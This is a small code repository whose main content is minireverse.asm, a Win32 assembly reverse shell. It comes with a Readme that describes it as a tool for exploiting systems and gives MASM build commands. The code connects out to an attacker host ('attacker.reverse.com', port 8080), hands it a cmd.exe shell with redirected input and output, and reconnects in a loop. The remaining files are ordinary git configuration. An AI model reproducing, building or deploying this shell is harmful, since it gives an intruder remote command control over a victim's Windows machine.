├── .gitattributes ├── .gitignore ├── Readme.md └── minireverse.asm /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | 24 | # Declare files that will always have CRLF line endings on checkout. 25 | *.md text eol=crlf 26 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | [Dd]ebug/ 46 | [Rr]elease/ 47 | *_i.c 48 | *_p.c 49 | *.ilk 50 | *.meta 51 | *.obj 52 | *.pch 53 | *.pdb 54 | *.pgc 55 | *.pgd 56 | *.rsp 57 | *.sbr 58 | *.tlb 59 | *.tli 60 | *.tlh 61 | *.tmp 62 | *.vspscc 63 | .builds 64 | *.dotCover 65 | 66 | ## TODO: If you have NuGet Package Restore enabled, uncomment this 67 | #packages/ 68 | 69 | # Visual C++ cache files 70 | ipch/ 71 | *.aps 72 | *.ncb 73 | *.opensdf 74 | *.sdf 75 | 76 | # Visual Studio profiler 77 | *.psess 78 | *.vsp 79 | 80 | # ReSharper is a .NET coding add-in 81 | _ReSharper* 82 | 83 | # Installshield output folder 84 | [Ee]xpress 85 | 86 | # DocProject is a documentation generator add-in 87 | DocProject/buildhelp/ 88 | DocProject/Help/*.HxT 89 | DocProject/Help/*.HxC 90 | DocProject/Help/*.hhc 91 | DocProject/Help/*.hhk 92 | DocProject/Help/*.hhp 93 | DocProject/Help/Html2 94 | DocProject/Help/html 95 | 96 | # Click-Once directory 97 | publish 98 | 99 | # Others 100 | [Bb]in 101 | [Oo]bj 102 | sql 103 | TestResults 104 | *.Cache 105 | ClientBin 106 | stylecop.* 107 | ~$* 108 | *.dbmdl 109 | Generated_Code #added for RIA/Silverlight projects 110 | 111 | # Backup & report files from converting an old project file to a newer 112 | # Visual Studio version. Backup files are not needed, because we have git ;-) 113 | _UpgradeReport_Files/ 114 | Backup*/ 115 | UpgradeLog*.XML 116 | 117 | 118 | 119 | ############ 120 | ## Windows 121 | ############ 122 | 123 | # Windows image file caches 124 | Thumbs.db 125 | 126 | # Folder config file 127 | Desktop.ini 128 | 129 | 130 | ############# 131 | ## Python 132 | ############# 133 | 134 | *.py[co] 135 | 136 | # Packages 137 | *.egg 138 | *.egg-info 139 | dist 140 | build 141 | eggs 142 | parts 143 | bin 144 | var 145 | sdist 146 | develop-eggs 147 | .installed.cfg 148 | 149 | # Installer logs 150 | pip-log.txt 151 | 152 | # Unit test / coverage reports 153 | .coverage 154 | .tox 155 | 156 | #Translations 157 | *.mo 158 | 159 | #Mr Developer 160 | .mr.developer.cfg 161 | 162 | # Mac crap 163 | .DS_Store 164 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | Account moved to: https://gitlab.com/illwill 2 | 3 | 4 | 5 | º File : Mini Reverse Shell 6 | º Language : Win32 ASM 7 | º FileSize : 2kb 8 | º D.O.B. : February 23, 2006 9 | º Description: CMD line reverse shell in masm that shovels a shell back to your host:port 10 | 11 | I made this in 2006 for use in exploiting a system, once executed this shovels a CMD shell back to 12 | the attacker's netcat listener 13 | 14 | 15 | How Compile: 16 | Get MASM installed 17 | From a CMD Prompt type the following: 18 | 19 | c:\masm32\bin\ml /c /coff reverseshell.asm 20 | c:\masm32\bin\link /SUBSYSTEM:WINDOWS /RELEASE /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.idata=.text /SECTION:.text,EWR /FILEALIGN:512 reverseshell.obj 21 | -------------------------------------------------------------------------------- /minireverse.asm: -------------------------------------------------------------------------------- 1 | ; minireverse.asm 2 | ; by illwill 3 | ; feb 23,2006 4 | ; spits back a cmd shell to your ip on your defined port 5 | 6 | .386 7 | .model flat, stdcall 8 | option casemap:none 9 | include \masm32\include\windows.inc 10 | include \masm32\include\kernel32.inc 11 | include \masm32\include\ws2_32.inc 12 | include \masm32\include\masm32.inc 13 | includelib \masm32\lib\ws2_32.lib 14 | includelib \masm32\lib\kernel32.lib 15 | includelib \masm32\lib\masm32.lib 16 | 17 | .data 18 | cmd db "cmd",0 19 | UrIP db "attacker.reverse.com",0 20 | port db "8080",0 21 | .data? 22 | sinfo STARTUPINFO<> 23 | pi PROCESS_INFORMATION<> 24 | sin sockaddr_in<> 25 | WSAD WSADATA<> 26 | Wsocket dd ? 27 | .code 28 | start: 29 | invoke WSAStartup, 101h, addr WSAD 30 | invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 31 | mov Wsocket, eax 32 | mov sin.sin_family, 2 33 | invoke atodw, addr port 34 | invoke htons, eax 35 | mov sin.sin_port, ax 36 | invoke gethostbyname, addr UrIP 37 | mov eax, [eax+12] 38 | mov eax, [eax] 39 | mov eax, [eax] 40 | mov sin.sin_addr, eax 41 | 42 | mov eax,Wsocket 43 | mov sinfo.hStdInput,eax 44 | mov sinfo.hStdOutput,eax 45 | mov sinfo.hStdError,eax 46 | mov sinfo.cb,sizeof STARTUPINFO 47 | mov sinfo.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES 48 | shellagain: 49 | invoke connect, Wsocket, addr sin , sizeof(sockaddr_in) 50 | invoke CreateProcess,NULL,addr cmd,NULL,NULL,TRUE,8000040h,NULL,NULL,addr sinfo,addr pi 51 | invoke WaitForSingleObject,pi.hProcess,INFINITE 52 | jmp shellagain 53 | ret 54 | end start --------------------------------------------------------------------------------